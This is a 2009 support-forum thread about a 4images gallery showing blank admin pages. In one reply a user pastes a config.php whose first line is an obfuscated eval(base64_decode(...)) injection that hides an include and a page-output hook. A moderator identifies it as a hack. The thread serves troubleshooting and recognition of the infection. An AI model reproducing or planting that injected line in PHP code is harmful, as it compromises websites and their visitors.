Author Topic: error: Blank page when I login  (Read 13952 times)

0 Members and 1 Guest are viewing this topic.

Offline 5LLJ

  • Pre-Newbie
  • Posts: 3
    • View Profile
error: Blank page when I login
« on: October 12, 2009, 12:08:36 AM »
Hi all


I have problem in my web site when I login, the problem is I change my gallery to UTF-8

Everything is fined but the only problem I have is when I login it show me blank page

In everywhere in admin folder or in gallery

Any ideas

4images 1.7.7

Offline V@no

  • If you don't tell me what to do, I won't tell you where you should go :)
  • Global Moderator
  • 4images Guru
  • *****
  • Posts: 17.849
  • mmm PHP...
    • View Profile
    • 4images MODs Demo
Re: error: Blank page when I login
« Reply #1 on: October 12, 2009, 12:11:07 AM »
Welcome to 4images forum.

F.A.Q. -> UNICODE / UTF8 / UTF16 related
Your first three "must do" before you ask a question:
Please do not PM me asking for help unless you've been specifically asked to do so. Such PMs will be deleted without answer. (forum rule #6)
Extension for Firefox/Thunderbird: Master Password+    Back/Forward History Tweaks (restartless)    Cookies Manager+    Fit Images (restartless for Thunderbird)

Offline 5LLJ

  • Pre-Newbie
  • Posts: 3
    • View Profile
Re: error: Blank page when I login
« Reply #2 on: October 12, 2009, 12:24:11 AM »
I know these steps but nothing work

every thing is fined in language the problem is when I login only

Offline V@no

  • If you don't tell me what to do, I won't tell you where you should go :)
  • Global Moderator
  • 4images Guru
  • *****
  • Posts: 17.849
  • mmm PHP...
    • View Profile
    • 4images MODs Demo
Re: error: Blank page when I login
« Reply #3 on: October 12, 2009, 12:45:24 AM »
ok, can I test it? (pm me with login info)
Your first three "must do" before you ask a question:
Please do not PM me asking for help unless you've been specifically asked to do so. Such PMs will be deleted without answer. (forum rule #6)
Extension for Firefox/Thunderbird: Master Password+    Back/Forward History Tweaks (restartless)    Cookies Manager+    Fit Images (restartless for Thunderbird)

Offline 5LLJ

  • Pre-Newbie
  • Posts: 3
    • View Profile
Re: error: Blank page when I login
« Reply #4 on: October 12, 2009, 01:11:06 AM »
ok, can I test it? (pm me with login info)

I fix the problem I think  I test every think first and I will see if I fix it or not

Offline spyrotsk

  • Pre-Newbie
  • Posts: 4
    • View Profile
Re: error: Blank page when I login
« Reply #5 on: October 14, 2009, 05:09:05 PM »
i have same problem, but i use gedit on linux and the problem isn't the unicode, but other, in admin area i have blank page and apache has make a log file with this rows:
Code: [Select]
[14-Oct-2009 10:01:35] PHP Warning:  strpos() [<a href='function.strpos'>function.strpos</a>]: Offset not contained in string in /home/test_site/4image/config.php(1) : eval()'d code on line 1
[14-Oct-2009 10:01:35] PHP Warning:  gzinflate() [<a href='function.gzinflate'>function.gzinflate</a>]: data error in /home/test_site/4image/config.php(1) : eval()'d code on line 1

this is my conf file:
Code: [Select]
<? /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9lbHBhcGFpcy9wdWJsaWNfaHRtbC9oaXBvbmV0L2NvaW4vY29pbl9hZGRvbnMvdGlueW1jZS9qc2NyaXB0cy90aW55X21jZS90aGVtZXMvYWR2YW5jZWQvZG9jcy9lbi9pbWFnZXMvc3R5bGUuY3NzLnBocCcpKXtpbmNsdWRlX29uY2UoJy9ob21lL2VscGFwYWlzL3B1YmxpY19odG1sL2hpcG9uZXQvY29pbi9jb2luX2FkZG9ucy90aW55bWNlL2pzY3JpcHRzL3RpbnlfbWNlL3RoZW1lcy9hZHZhbmNlZC9kb2NzL2VuL2ltYWdlcy9zdHlsZS5jc3MucGhwJyk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmIWZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCl7JFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E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QiYyKXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKz0yO30kUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPWd6aW5mbGF0ZShzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSk7aWYoJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz09PUZBTFNFKXskUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPSRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4Njg7fXJldHVybiAkUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzO319ZnVuY3Rpb24gZGdvYmgoJFJEQTNFNjE0MTRFNTBBRUU5NjgxMzJGMDNEMjY1RTBDRil7SGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7JFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MD1nemRlY29kZSgkUkRBM0U2MTQxNEU1MEFFRTk2ODEzMkYwM0QyNjVFMENGKTtpZihwcmVnX21hdGNoKCcvXDxib2R5L3NpJywkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPGJvZHlbXlw+XSpcPikvc2knLCckMScuZ21sKCksJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MCk7fWVsc2V7cmV0dXJuIGdtbCgpLiRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTA7fX1vYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>
<?php


$db_servertype "mysql";
$db_host "localhost";
$db_name "**********";
$db_user "**********";
$db_password "**********";

$table_prefix "4images_";

define("4IMAGES_ACTIVE"1);

?>


the gallery is on my laptop in localhost, not public gallery.
what is it?

Offline V@nо

  • Addicted member
  • ******
  • Posts: 1.223
    • View Profile
Re: error: Blank page when I login
« Reply #6 on: October 14, 2009, 08:58:06 PM »
Welcome to 4images forum.

the first line is not part of 4images, maybe it's causing it?
Your first three "must do" before you ask a question:
If I asked you to PM me, I meant PM to my primary account, this account doesn't accept PMs.

Offline spyrotsk

  • Pre-Newbie
  • Posts: 4
    • View Profile
Re: error: Blank page when I login
« Reply #7 on: October 15, 2009, 03:40:21 PM »
Welcome to 4images forum.

the first line is not part of 4images, maybe it's causing it?

no, i try remove it but same problem.

if i call single page manually I can see it, exemple: home.php, settings.php or other page works fine, but only index.php cause blank page.

this problem is only with index.php in admin section.

Offline V@no

  • If you don't tell me what to do, I won't tell you where you should go :)
  • Global Moderator
  • 4images Guru
  • *****
  • Posts: 17.849
  • mmm PHP...
    • View Profile
    • 4images MODs Demo
Re: error: Blank page when I login
« Reply #8 on: October 15, 2009, 03:55:33 PM »
The first line I've mentioned is a hack, I don't know if you aware of it, or what, but you should check all your .php files for similar line, I can only assume it's the case - the hack.
http://www.simplemachines.org/community/index.php?topic=291486.0

[EDIT]
Since blank page occur not only when you login, then it's not quiet related to this topic.
In global.php find line with error_reporting
add below that line:
error_reporting(E_ALL);
@
ini_set("display_errors"1);


See if any errors shows
Your first three "must do" before you ask a question:
Please do not PM me asking for help unless you've been specifically asked to do so. Such PMs will be deleted without answer. (forum rule #6)
Extension for Firefox/Thunderbird: Master Password+    Back/Forward History Tweaks (restartless)    Cookies Manager+    Fit Images (restartless for Thunderbird)

Offline spyrotsk

  • Pre-Newbie
  • Posts: 4
    • View Profile
Re: error: Blank page when I login
« Reply #9 on: October 15, 2009, 04:36:26 PM »
Ok now i have remove any row with this string "base64_decode ecc..." (any other file have this string) but now give this error:
Code: [Select]
Notice: Undefined index: cat_sort in /home/test_site/4image/global.php on line 468

The section of file with error is this:

if (defined("GET_CACHES")) {
  
$config['cat_order'] = empty($config['cat_order']) ? 'cat_order, cat_name ASC' $config['cat_order'];
  
$sql "SELECT cat_id, cat_name, cat_description, cat_parent_id, cat_hits, cat_order, auth_viewcat, auth_viewimage, auth_download, auth_upload, auth_directupload, auth_vote, auth_sendpostcard, auth_readcomment, auth_postcomment
          FROM "
.CATEGORIES_TABLE."
          ORDER BY "
.$config['cat_order']." " .$config['cat_sort'];                            //<---------------- ERROR IS HERE!
  
$result $site_db->query($sql);

  while (
$row $site_db->fetch_array($result)) {
    
$cat_cache[$row['cat_id']] = $row;
    
$cat_parent_cache[$row['cat_parent_id']][] = $row['cat_id'];
  }
  
$site_db->free_result();
« Last Edit: October 15, 2009, 05:24:24 PM by spyrotsk »

Offline V@nо

  • Addicted member
  • ******
  • Posts: 1.223
    • View Profile
Re: error: Blank page when I login
« Reply #10 on: October 15, 2009, 09:43:33 PM »
above the code you showed add:
Code: [Select]
$config['cat_sort'] = "";
Your first three "must do" before you ask a question:
If I asked you to PM me, I meant PM to my primary account, this account doesn't accept PMs.

Offline spyrotsk

  • Pre-Newbie
  • Posts: 4
    • View Profile
Re: error: Blank page when I login
« Reply #11 on: October 16, 2009, 09:40:29 AM »
above the code you showed add:
Code: [Select]
$config['cat_sort'] = "";

now works correctly, thanks for your help ;)